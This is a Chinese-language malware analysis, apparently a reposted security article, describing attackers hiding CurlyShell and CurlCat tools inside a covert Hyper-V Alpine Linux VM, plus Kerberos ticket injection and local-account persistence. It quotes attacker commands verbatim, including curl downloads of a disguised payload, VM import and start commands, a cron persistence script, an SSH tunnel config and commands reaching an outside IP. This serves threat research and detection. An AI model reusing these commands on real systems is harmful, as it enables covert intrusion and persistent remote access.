文章总结: 攻击者利用Hyper-V虚拟化技术在受害者系统上创建轻量级AlpineLinux虚拟机,仅占用120MB磁盘和256MB内存,用于部署CurlyShell反向Shell和CurlCat反向代理工具,有效绕过传统EDR检测。虚拟机通过DefaultSwitch网络适配器路由流量,使恶意通信看起来像来自合法主机。攻击者还使用Kerberos票据注入和本地账户创建实现持久化。防御者应监控Hyper-V异常启用、轻量级虚拟机部署及可疑PowerShell活动。 综合评分: 85 文章分类: 恶意软件,漏洞分析,内网渗透,红队,安全建设

恶意软件利用Hyper-V绕过终端安全防护
二进制空间安全
2025年11月21日 08:56 北京
将二进制空间安全设为”星标⭐️”
第一时间收到文章更新
#
技术背景
Hyper-V 是微软(Microsoft)提供的一种 虚拟化技术,从 Windows Server 2008 开始内置,也可以在部分 Windows 10/11 专业版和企业版中启用。它允许你在一台物理电脑上创建并运行多个 虚拟机(VM),每个虚拟机都像一台独立的计算机,拥有自己的操作系统和资源。
攻击者在攻陷目标系统后, 通过启用Hyper-V,部署了一个基于Alpine Linux的极简虚拟机, 这个隐藏环境占用资源非常小, 仅有120MB磁盘空间和256MB内存, 用于暂存攻击者自制的反向Shell工具CurlyShell,以及反向代理CurlCat。
通过将恶意软件及其运行环境隔离在虚拟机中, 攻击者有效绕过了许多传统的基于主机的EDR检测。与此同时,攻击者不断引入新工具, 其中包括多种代理和隧道文件样本,例如:Resocks、Rsockstun、Ligolo-ng、CCProxy、Stunnel, 这种灵活动态的加载方式对达到长时间维持访问目的起到了至关重要的作用。
虚拟机部署
攻击者首先在受害者机器上执行了两条远程命令,用来启用微软Hyper-V虚拟化功能,同时禁用其管理界面:
dism /online /disable-feature /FeatureName:microsoft-hyper-v-Management-clients /norestart
dism /online /enable-feature /All /LimitAccess /FeatureName:microsoft-hyper-v /norestart
之后,攻击者执行的所有命令都以”cmd.exe /C”为前缀, 且所有输出都被重定向到一个临时文件。命令如下:
"cmd.exe" /C echo curl.exe http://xxx.md | cmd > c:\\Programdata\\WindowsUpdateTask_H.tmp 2>&1
这是在下载前做的连通性检查。它使用了一种不常见的重定向模式,即回显(打印到屏幕)curl.exe 命令,并通过管道传递给第二个 cmd.exe 进程执行。
"cmd.exe" /C echo curl.exe http://xxx.md/about.mp4 -o c:\\programdata\\1.rar | cmd > c:\\Programdata\\WindowsUpdateTask_D.tmp 2>&1
使用相同的重定向方式,伪装成视频文件的 RAR 压缩包(about.mp4)被保存为 1.rar。接着,在 c:\Program Files 目录上执行了 dir 命令, 可能是为了确认所需文件是否存在。
"cmd.exe" /C dir "c:\\program Files" > c:\\Programdata\\WindowsUpdateTask_X.tmp 2>&1
虚拟机文件如VHDX和VMCX被解压到伪装路径c:\programdata\microsoft\AppV\app文件夹中,
随后, 通过PowerShell的Import-VM cmdlet 导入虚拟机。该命令将前一步解压的预配置 VM 文件(.vmcx)注册到本地 Hyper-V 管理器中。命令如下:
"cmd.exe" /C powershell.exe -c import-vm -path "c:\\programdata\\microsoft\\AppV\\app\\Virtual Machines\\1DBCC80B-5803-4AF1-8772-712C688F408A.vmcx" -Copy -GenerateNewId > c:\\Programdata\\WindowsUpdateTask_t.tmp 2>&1
最后,使用PowerShell 的Start-VM cmdlet 启动新导入的虚拟机。虽然其名称 “WSL” 可能代表使用了Windows Subsystem for Linux,但这只是一种迷惑性的策略。WSL能让用户在 Windows 中原生运行 Linux 环境,由于常被视为无害的开发者工具,因此往往审查较弱。关键在于:尽管使用了该命名,该虚拟机却是一个完全隔离的 Hyper-V 实例,与标准 WSL 框架完全无关。命令如下:
"cmd.exe" /C powershell.exe -c Start-VM -name WSL > c:\\Programdata\\WindowsUpdateTask_R.tmp 2>&1
#
虚拟机配置
部署的虚拟机是一个为受害者量身定制的操作环境。它运行轻量、安全导向的Alpine Linux,仅占用约 120MB 磁盘空间,并配置仅使用 256MB 内存。该极简环境的主要目的在于托管自定义恶意软件CurlyShell和CurlCat,为反向 Shell 和反向代理操作提供专用且隔离的基础。它的微小体积降低了被检测的风险,同时提供攻击者所需的全部工具。
虚拟机被配置为使用 Hyper-V 中的Default Switch网络适配器。此设置通过Hyper-V 的内部 NAT 服务,将虚拟机的流量路由经主机网络栈。
实际上,所有恶意的出站通信都看起来像是来自合法主机的 IP 地址。部分文件还显示出高度的针对性定制。检查 VM 文件系统时发现/etc/hosts 中存在攻击者控制的域名到 IP 映射,以及 /etc/resolv.conf 中指定的专用 DNS 服务器,这表明虚拟机被专门配置以与C2基础设施通信。
虚拟机Payload
该虚拟机并未装载大型攻防框架或渗透测试工具;相反,它是一个为特定目的而设计的轻量级恶意软件。该环境仅保存两个密切相关的自定义恶意软件家族:CurlyShell和CurlCat, 它们都基于libcurl 库构建,但承担完全不同的操作角色。
CurlyShell 提供持久化反向 Shell,而 CurlCat则负责管理流量隧道,为黑客提供便捷的网络访问能力并可远程执行命令。这种极简方式避免了留下明显的取证痕迹。
位于/bin/init_tools的 CurlyShell是核心的持久反向 Shell。为了实现持久性,它使用了一种简单但有效的 root 级持久化机制:位于/etc/crontabs的 crontab 项,以root 权限运行。这个 cron 任务会在每隔四小时后的第 20 分钟执行脚本/bin/alpine_init,而该脚本会再启动 init_tools(即 CurlyShell 本身)。
#!/bin/sh date > /tmp/date nohup /bin/init_tools > /dev/null 2>&1 &
CurlyShell 负责通过 HTTPS 建立并维持主要的反向 Shell 连接,连接到特定且独立的 C2 基础设施。
位于/root/updater的 CurlCat负责管理 SSH 反向代理隧道。它自身不保持系统持久性;相反,当需要代理访问时,可通过CurlyShell的持久通道接收到命令后被启动。它的唯一功能是将所有发出的 SSH 流量封装到标准 HTTP 请求Payload中,从而使流量在网络中看起来更正常。这项能力直接集成在 SSH 客户端配置(/root/.ssh/config)中,其中 CurlCat 被指定为ProxyCommand, 以安全的方式将后续所有SSH连接通过攻击者机器上监听20155端口的 SOCKS 代理进行隧道传输。
Host Forward HostName 127.0.0.1
Port 22 User bob StrictHostKeyChecking no UserKnownHostsFile /dev/null NumberOfPasswordPrompts 1 RemoteForward 20155 IdentityFile /root/.ssh/id_rsa ProxyCommand /root/updater
用于该隧道的认证方式是/root/.ssh/ 目录中的专用id_rsa密钥, 以用户 “bob” 登录远程C2基础设施。该文件是一个私有SSH密钥,用于无密码认证远程C2服务器。
CurlyShell 分析
部署在 Hyper-V 环境中的两个自定义恶意程序: CurlyShell 和 CurlCat, 共享大部分相同的代码基础。两个都是使用 C++ 编写、基于 libcurl 构建的编译二进制文件。
恶意代码以 ELF 二进制形式打包,其核心功能实现在 main() 函数中。启动时,它会关闭文件描述符 0、1、2(标准输入 stdin、标准输出 stdout、标准错误 stderr)。此操作会禁止所有终端输出,并将进程从启动它的 shell 中分离,使 CurlyShell 以无窗口后台守护进程的方式隐蔽运行。

随后,代码创建自定义 C++ 类SesCustom的一个实例。如图:

该程序的自定义会话管理从构建 SesCustom 对象开始。首先会通过一个硬编码的 64 字符串显式初始化一个自定义 Base64字母表,然后将其加载到内部的 std::map 结构中。该自定义字符集用于编码与解码方法(SesCustom::to_enc() 和 SesCustom::to_dec())执行非标准 Base64 转换,目的是规避依赖标准字母表的工具。此外,构造函数会立即调用SesCustom::get_ses_id()来生成一个随机且独特的 Base64 编码字符串,用作 C2 网络流量中的PHP会话 cookie。

SesCustom 对象创建后,会构建一个包含所需 HTTP 头的键值结构(在 C++ 中为 std::map),并与 C2 URL 一起传递给关键的 SesCustom::init() 方法。此头部映射中包含伪造的 PHP 会话 cookie,用于执行 C2 握手机制。
init() 方法随后设置 libcurl 对象并配置 curl_write_callback。这是 libcurl 的标准功能,它会将回调指向恶意软件自己的函数:SesCustom::WriteFunction()。当 C2 服务器发送加密数据时,libcurl 会将原始数据传递给这个自定义的 WriteFunction() 进行处理。
完成初始化后,程序会发起一个 HTTP GET 请求以验证 C2 的响应性。返回的数据预期必须精确匹配之前生成的 PHP 会话 cookie。如果响应不匹配,init() 会返回 false,使 CurlyShell 立即终止。如果服务器响应正常并返回预期值,该函数确认目标是一个活动的 C2,并通过 SesCustom::to_run() 启动核心 C2 逻辑,该函数实现反向 Shell 功能。

到此阶段为止,CurlyShell 与 CurlCat 拥有几乎完全相同的代码,其逻辑几乎全部重叠。关键区别在于 to_run() 方法:在 CurlyShell 中,接收的数据会被作为要执行的命令处理,而在 CurlCat 中,该数据则会直接转发给 SSH 进程。

实际的 C2 通信和命令执行发生在to_run()方法中。该方法通过在 HTTP 方法间切换管理数据交换:当存在需要返回给 C2 的命令输出时,使用 HTTP POST;当没有数据可发送时,则使用 HTTP GET 轮询服务器。
两个恶意软件的主要区别在于它们处理服务器响应的方式。作为反向 Shell 的 CurlyShell 会使用 SesCustom::to_pipe() 函数执行接收到的命令,该函数内部依赖 popen() 系统调用。收到的命令会被包装为:
timeout 30 sh -c '<command>' 2>&1
以限制执行时间(30 秒)并捕获标准输出和标准错误。
相反,CurlCat 仅被设计用于数据中继;它完全跳过命令执行,而是使用SesCustom::to_out()和 SesCustom::from_in()函数来简单地传递原始数据。
Kerberos票据注入器
攻击者在持久化过程中使用了两类PowerShell脚本, 一类用于将Kerberos票据注入LSASS,以允许对远程系统认证并执行命令。另一类通过组策略部署,用于在加入域的机器上创建本地账户,可能用于持久化。
攻击者的自定义工具体现在一个名为c:\programdata\kb_upd.ps1的脚本中, 该脚本常通过PowerShell(经常使用 atexec)远程执行。此脚本包含两部分,用于远程命令执行。
第一部分用于加载并将 Kerberos 票据注入 LSASS,与公开的 TicketInjector 工具几乎完全一致。但在原始版本中赋值给 $ptt 变量的 C# 字符串是明文存储的,而在此版本中,它被加密并作为 SecureString 存储,并具有硬编码密钥:
$key = (9,25,37,10,5,54,91,82,75,19,13,32,17,94,23,11) $decData = ConvertTo-SecureString -String $buf -Key $key $ptt = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decData))
解密后,嵌入的 C# 代码会被 Load() 函数编译并加载到内存中, 该函数与原 TicketInjector 工具的入口函数作用一致。该编译后的 C# 代码负责在 LSASS 进程中实际执行 Kerberos 票据的低级操作。
脚本第二部分定义了两个后渗透活动所必需的附加函数:
- 票据注入:一个函数调用 Load() 读取并将修改后的 Kerberos 票据注入 LSASS。
- 横向移动(RemoteWorker):另一个关键函数 RemoteWorker() 用于执行横向操作。
RemoteWorker() 函数被设计为执行后渗透任务的模板,利用新注入的 Kerberos 票据通过 SMB 对远程系统进行认证。以下示例说明其操作:使用 net use 连接到远程共享,运行侦察命令(dir <已编辑>\C$\users)收集用户配置文件与系统文件信息,然后删除连接,并立即使用 klist purge 清除当前票据缓存。由于该函数结构灵活,攻击者可轻松将其替换为文件删除、恶意软件部署或进一步横向移动等操作。

#
本地账户持久化
此外,还有一个可疑脚本位于c:\Windows\ps1\screensaver.ps1,用于重置本地账户用户的密码,并在账户不存在时创建, 很可能作为持久化机制。
该脚本后来被一个名为 c:\Windows\ps1\locals.ps1的变体替换,该变体改为针对一个名为 camera 的本地账户。进一步分析显示,该脚本来自\
cmd.exe /C C:\Windows\ps1\utc.exe 45.43.91.10:443 --key <redacted> > C:\Programdata\regid_1992 2>&1
cmd.exe /C curl http://45.43.91.10:443 > C:\Programdata\regid_1992 2>&1
cmd.exe /C curl ipinfo.io > C:\Programdata\regid_1992 2>&1
(全文完)
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论